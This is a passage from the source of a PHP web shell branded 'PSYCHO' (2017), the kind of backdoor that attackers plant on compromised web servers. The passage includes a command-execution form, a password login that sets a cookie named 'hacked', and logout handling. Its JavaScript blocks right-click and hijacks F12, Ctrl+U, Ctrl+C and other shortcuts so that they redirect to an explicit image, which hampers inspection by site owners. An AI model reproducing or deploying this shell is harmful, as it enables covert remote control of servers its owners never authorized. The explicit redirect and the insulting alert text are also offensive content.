6193<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6194</form>
6195</td>
6196</tr></table><br>
6197
6198</td>
6199</tr>
6200</table>
6201
6202<?php
6203
6204
6205//logout
6206
6207if(isset($_GET['logout']))
6208{
6209 setcookie("hacked",time() - 60*60);
6210 header("Location:$self");
6211 ob_end_flush();
6212}
6213?>
6214
6215
6216<hr color="#1B1B1B">
6217<div align="center">
6218<font size="6" face="Times New Roman, Times, serif" color="#00CC00">
6219Copyright © 2017</font><br><a href="https://www.facebook.com/PsychoNow.go.id" target="_blank"><font color="#FF0000" size="6">PSYCHO</font></a></div>
6220<script type="text/javascript"> //<![CDATA[
6221shortcut={all_shortcuts:{},add:function(a,b,c){var d={type:"keydown",propagate:!1,disable_in_input:!1,target:document,keycode:!1};if(c)for(var e in d)"undefined"==typeof c[e]&&(c[e]=d[e]);else c=d;d=c.target,"string"==typeof c.target&&(d=document.getElementById(c.target)),a=a.toLowerCase(),e=function(d){d=d||window.event;if(c.disable_in_input){var e;d.target?e=d.target:d.srcElement&&(e=d.srcElement),3==e.nodeType&&(e=e.parentNode);if("INPUT"==e.tagName||"TEXTAREA"==e.tagName)return}d.keyCode?code=d.keyCode:d.which&&(code=d.which),e=String.fromCharCode(code).toLowerCase(),188==code&&(e=","),190==code&&(e=".");var f=a.split("+"),g=0,h={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","":"|"},i={esc:27,escape:27,tab:9,space:32,"return":13,enter:13,backspace:8,scrolllock:145,scroll_lock:145,scroll:145,capslock:20,caps_lock:20,caps:20,numlock:144,num_lock:144,num:144,pause:19,"break":19,insert:45,home:36,"delete":46,end:35,pageup:33,page_up:33,pu:33,pagedown:34,page_down:34,pd:34,left:37,up:38,right:39,down:40,f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},j=!1,l=!1,m=!1,n=!1,o=!1,p=!1,q=!1,r=!1;d.ctrlKey&&(n=!0),d.shiftKey&&(l=!0),d.altKey&&(p=!0),d.metaKey&&(r=!0);for(var s=0;k=f[s],s<f.length;s++)"ctrl"==k||"control"==k?(g++,m=!0):"shift"==k?(g++,j=!0):"alt"==k?(g++,o=!0):"meta"==k?(g++,q=!0):1<k.length?i[k]==code&&g++:c.keycode?c.keycode==code&&g++:e==k?g++:h[e]&&d.shiftKey&&(e=h[e],e==k&&g++);if(g==f.length&&n==m&&l==j&&p==o&&r==q&&(b(d),!c.propagate))return d.cancelBubble=!0,d.returnValue=!1,d.stopPropagation&&(d.stopPropagation(),d.preventDefault()),!1},this.all_shortcuts[a]={callback:e,target:d,event:c.type},d.addEventListener?d.addEventListener(c.type,e,!1):d.attachEvent?d.attachEvent("on"+c.type,e):d["on"+c.type]=e},remove:function(a){var a=a.toLowerCase(),b=this.all_shortcuts[a];delete this.all_shortcuts[a];if(b){var a=b.event,c=b.target,b=b.callback;c.detachEvent?c.detachEvent("on"+a,b):c.removeEventListener?c.removeEventListener(a,b,!1):c["on"+a]=!1}}},
6222shortcut.add("F12",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6223shortcut.add("Ctrl+Shift+Del",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6224shortcut.add("Ctrl+F",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6225shortcut.add("Ctrl+W",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6226shortcut.add("Ctrl+U",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6227shortcut.add("Ctrl+A",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6228shortcut.add("Ctrl+S",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6229shortcut.add("Ctrl+X",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6230shortcut.add("Ctrl+C",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6231shortcut.add("Ctrl+V",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6232shortcut.add("Ctrl+Y",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6233shortcut.add("Ctrl+Z",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6234//]]></script>
6235<!-- Set Disable klick kanan -->
6236<script language="JavaScript">
6237var message="Mau Ngapa Lu Njinxxx -_-";
6238
6239///////////////////////////////////
6240function clickIE4(){
6241if (event.button==2){
6242alert(message);
6243return false;
6244}
6245}
6246
6247function clickNS4(e){
6248if (document.layers||document.getElementById&&!document.all){
6249if (e.which==2||e.which==3){
6250alert(message);
6251return false;
6252}
6253}
6254}
6255
6256if (document.layers){
6257document.captureEvents(Event.MOUSEDOWN);
6258document.onmousedown=clickNS4;
6259}
6260else if (document.all&&!document.getElementById){
6261document.onmousedown=clickIE4;
6262}
6263
6264document.oncontextmenu=new Function("alert(message);return false")
6265
6266// -->
6267</script>
6268<!-- Set Disable klick kanan End-->
6269<?php
6270}
6271}
6272
6273if(isset($_POST['uname']) && isset($_POST['passwd']))
6274{
6275 if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
6276 {
6277 setcookie("hacked", md5($pass));
6278 $selfenter = $_SERVER["PHP_SELF"];
6279 header("Location:$selfenter");
6280 }
6281}
6282
6283if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
6284{
6285 shellstyle();
6286?>
6287 <center>
6288 <form method="POST">
6289 <div>
6290 <table cellpadding="9" cellspacing="4">
6291 <tbody><tr>
6292 <td align="center" colspan="2"><blink><font size="7"><b>LOGIN</b></font></blink></td>
6293 </tr>
6294 <tr>
6295 <td align="right"><b>Username : </b></td>
6296 <td><input autocomplete="OFF" onblur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" onfocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" value="User Name" style="background-color: rgb(51, 51, 51); border-radius: 7px; border-color: rgb(0, 0, 0); width: 170px; color: rgb(130, 130, 130);" name="uname" type="text"></td>
6297 </tr>
6298 <tr>
6299 <td align="right"><b>Password : </b></td>
6300 <td><input type="password" name="passwd" style="background-color: rgb(51, 51, 51); border-radius: 7px; border-color: rgb(0, 0, 0); width: 170px; color: rgb(130, 130, 130);" value="User Name" onfocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onblur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" autocomplete="OFF"></td>
6301 </tr>
6302 <tr>
6303 <td align="center" colspan="2"><input type="submit" class="button button3" value=" Enter "></td>
6304 </tr>
6305
6306 <tr>
6307 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6308 </tr>
6309 </tbody></table>
6310 </div>
6311
6312 </form>
6313 </center>
6314<br>
6315<script type="text/javascript"> //<![CDATA[
6316shortcut={all_shortcuts:{},add:function(a,b,c){var d={type:"keydown",propagate:!1,disable_in_input:!1,target:document,keycode:!1};if(c)for(var e in d)"undefined"==typeof c[e]&&(c[e]=d[e]);else c=d;d=c.target,"string"==typeof c.target&&(d=document.getElementById(c.target)),a=a.toLowerCase(),e=function(d){d=d||window.event;if(c.disable_in_input){var e;d.target?e=d.target:d.srcElement&&(e=d.srcElement),3==e.nodeType&&(e=e.parentNode);if("INPUT"==e.tagName||"TEXTAREA"==e.tagName)return}d.keyCode?code=d.keyCode:d.which&&(code=d.which),e=String.fromCharCode(code).toLowerCase(),188==code&&(e=","),190==code&&(e=".");var f=a.split("+"),g=0,h={"`":"~",1:"!",2:"@",3:"#",4:"$",5:"%",6:"^",7:"&",8:"*",9:"(",0:")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","":"|"},i={esc:27,escape:27,tab:9,space:32,"return":13,enter:13,backspace:8,scrolllock:145,scroll_lock:145,scroll:145,capslock:20,caps_lock:20,caps:20,numlock:144,num_lock:144,num:144,pause:19,"break":19,insert:45,home:36,"delete":46,end:35,pageup:33,page_up:33,pu:33,pagedown:34,page_down:34,pd:34,left:37,up:38,right:39,down:40,f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},j=!1,l=!1,m=!1,n=!1,o=!1,p=!1,q=!1,r=!1;d.ctrlKey&&(n=!0),d.shiftKey&&(l=!0),d.altKey&&(p=!0),d.metaKey&&(r=!0);for(var s=0;k=f[s],s<f.length;s++)"ctrl"==k||"control"==k?(g++,m=!0):"shift"==k?(g++,j=!0):"alt"==k?(g++,o=!0):"meta"==k?(g++,q=!0):1<k.length?i[k]==code&&g++:c.keycode?c.keycode==code&&g++:e==k?g++:h[e]&&d.shiftKey&&(e=h[e],e==k&&g++);if(g==f.length&&n==m&&l==j&&p==o&&r==q&&(b(d),!c.propagate))return d.cancelBubble=!0,d.returnValue=!1,d.stopPropagation&&(d.stopPropagation(),d.preventDefault()),!1},this.all_shortcuts[a]={callback:e,target:d,event:c.type},d.addEventListener?d.addEventListener(c.type,e,!1):d.attachEvent?d.attachEvent("on"+c.type,e):d["on"+c.type]=e},remove:function(a){var a=a.toLowerCase(),b=this.all_shortcuts[a];delete this.all_shortcuts[a];if(b){var a=b.event,c=b.target,b=b.callback;c.detachEvent?c.detachEvent("on"+a,b):c.removeEventListener?c.removeEventListener(a,b,!1):c["on"+a]=!1}}},
6317shortcut.add("F12",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6318shortcut.add("Ctrl+Shift+Del",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6319shortcut.add("Ctrl+F",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6320shortcut.add("Ctrl+W",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6321shortcut.add("Ctrl+U",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6322shortcut.add("Ctrl+A",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6323shortcut.add("Ctrl+S",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6324shortcut.add("Ctrl+X",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6325shortcut.add("Ctrl+C",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6326shortcut.add("Ctrl+V",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6327shortcut.add("Ctrl+Y",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6328shortcut.add("Ctrl+Z",function(){top.location.href="https://4.bp.blogspot.com/-YtB_PpJ1HOQ/V6I2jetY2PI/AAAAAAAADII/HJPUge1P-Fgtgn4AsCg3P9ZprtGkWt9hwCLcB/s640/Foto%2BPepek%2BMulus%2Bdan%2BLembut%2B%25283%2529.jpg"});
6329//]]></script>
6330<!-- Set Disable klick kanan -->
6331<script language="JavaScript">
6332var message="Mau Ngapa Lu Njinxxx -_-";
6333
6334///////////////////////////////////
6335function clickIE4(){
6336if (event.button==2){
6337alert(message);
6338return false;
6339}
6340}
6341
6342function clickNS4(e){
6343if (document.layers||document.getElementById&&!document.all){
6344if (e.which==2||e.which==3){
6345alert(message);
6346return false;
6347}
6348}
6349}
6350
6351if (document.layers){
6352document.captureEvents(Event.MOUSEDOWN);
6353document.onmousedown=clickNS4;
6354}
6355else if (document.all&&!document.getElementById){
6356document.onmousedown=clickIE4;
6357}
6358
6359document.oncontextmenu=new Function("alert(message);return false")
6360
6361// -->
6362</script>
6363<!-- Set Disable klick kanan End-->
6364</body>
6365</html>
6366<?php
6367}
6368?>